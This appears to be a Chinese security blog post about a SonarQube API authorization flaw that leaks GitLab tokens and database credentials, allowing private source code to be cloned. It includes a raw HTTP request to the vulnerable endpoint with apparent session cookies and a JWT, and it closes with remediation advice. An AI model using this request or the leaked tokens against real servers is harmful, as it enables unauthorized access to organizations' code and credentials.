SonarQube API越权漏洞的思考

安全 漏洞
SonarQube是一款基于Web的工具,是一个开源的代码质量管理系统,可帮助开发人员生成没有安全问题、错误、漏洞、异常和一般问题的代码。

[[433918]]

SonarQube是一款基于Web的工具,是一个开源的代码质量管理系统,可帮助开发人员生成没有安全问题、错误、漏洞、异常和一般问题的代码。

如果您在开发一个小项目,那可能很容易,您可以仔细检查代码以发现任何问题。SonarQube属于SAST类的代码检测工具,更侧重于质量检查,也有一些针对性的安全检测,比如SQL注入等,我用过商业版,试图利用SAST来发现和解决代码安全问题,比较失望。规则库比较弱,自定义能力差,毕竟只是更专注于质量检查。

大背景

近期,境外网站又报道了一些涉及中国多个机构和企业的代码泄漏,就是利用SonarQube的这个API越权漏洞进行的。

(1)The Chinese Ministry of Public Security 

   

(2) BOSCH 博世 

 

(3) 梅赛德斯奔驰

SonarQube API 未授权下载源代码漏洞利用过程及原理

SonarSource SonarQube由于存在安全漏洞,攻击者可利用该漏洞通过API设置值URI,发现明文的SMTP和GitLab凭证(tocken)等敏感信息泄露,可导致gitlab中项目的代码可以被任意clone下载,其实这个漏洞在2019年就被发现了。官方修复过一次,但是又出现了新的漏洞,并且一直延伸到7-8-9多个版本。

漏洞细节:

漏洞利用过程及证明:
(1)敏感配置泄漏:
以普通用户登陆就可以查看该AP I信息,如下:
GET /api/settings/values HTTP/2
Host: sonar.******.com
Cookie: experimentation_subject_id=ImExZjYyYTg4LTUwMmEtNDllOS1hNDNhLTZkYjc3OWVhNDM3YiI%3D--5753e714d025d34f4249d6d9d8cc7292ca0200b6; XSRF-TOKEN=5n4f4tq6qi30hg65n2h0qth56e; JWT-SESSION=eyJhbGciOiJIUzI1NiJ9.eyJqdGkiOiJBWGpaWGotUmlDeWV5OUM0SnkwbCIsInN1YiI6ImZlbmd3ZWlndW8iLCJpYXQiOjE2MTg1NTQ1MzUsImV4cCI6MTYxODgxMzczNSwibGFzdFJlZnJlc2hUaW1lIjoxNjE4NTU0NTM1ODI1LCJ4c3JmVG9rZW4iOiI1bjRmNHRxNnFpMzBoZzY1bjJoMHF0aDU2ZSJ9.5GEbBs6oJnoRYnSbPC3BUysSZgy5tIu-LOuO7iOSEGI
Sec-Ch-Ua: "Chromium";v="89", ";Not A Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (KaliLinux; ARM) AppleWebKit/637.36 (KHTML, like Gecko) Chrome/189.0.4389.90 Safari/637.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

官方进行过修复然后该接口应该只允许管理员可查看。
但是很多内置了默认账号和简单弱口令账号同样可查看。

(2) 利用该user_token可以来从gitlab获取代码:

看,就是sonar.gitlab.user.token , 直接可以拉代码数据。

还能通过配置文件看到数据库账号密码等。非常久远的漏洞了。

看看如何利用sonar.gitlab.user.token 拉代码:

解决办法

关注厂商官方网站,即使升级补丁。

友情提醒

看看至少有多少暴露在公网:数量还是很惊人的,这么多假装在乎代码质量的用户,不在乎安全性个代码泄露。

SonarQube 不建议对公网开放,Devops流程中如需要使用SAST请采用专业的工具,请弃用SonarQube。

 

责任编辑:赵宁宁 来源: FreeBuf
相关推荐

2023-03-02 13:32:17

应用安全网络安全Web应用

2021-04-21 08:00:00

Web工具漏洞

2020-09-01 07:58:34

API漏洞黑客

2021-08-09 08:20:59

API安全测试漏洞

2015-10-13 09:13:42

2021-01-08 13:37:25

API网关API开发平台数据库

2021-08-09 11:35:40

设计实践应用

2020-12-18 10:04:52

API漏洞应用程序编程接口

2020-05-29 09:36:59

越权访问漏洞Web安全

2023-07-26 17:13:38

2021-09-01 15:48:50

API漏洞应用程序安全

2021-10-18 10:29:15

API漏洞网络安全

2022-04-26 10:13:02

API漏洞安全

2023-07-21 14:04:37

2023-09-04 18:57:01

API接口数据中心

2022-05-27 17:30:46

漏洞网络攻击

2022-12-08 10:33:48

2022-04-19 08:26:20

WebAPI架构

2018-11-14 10:20:15

SonarQube开源追踪代码

2017-02-17 08:14:27

点赞
收藏

51CTO技术栈公众号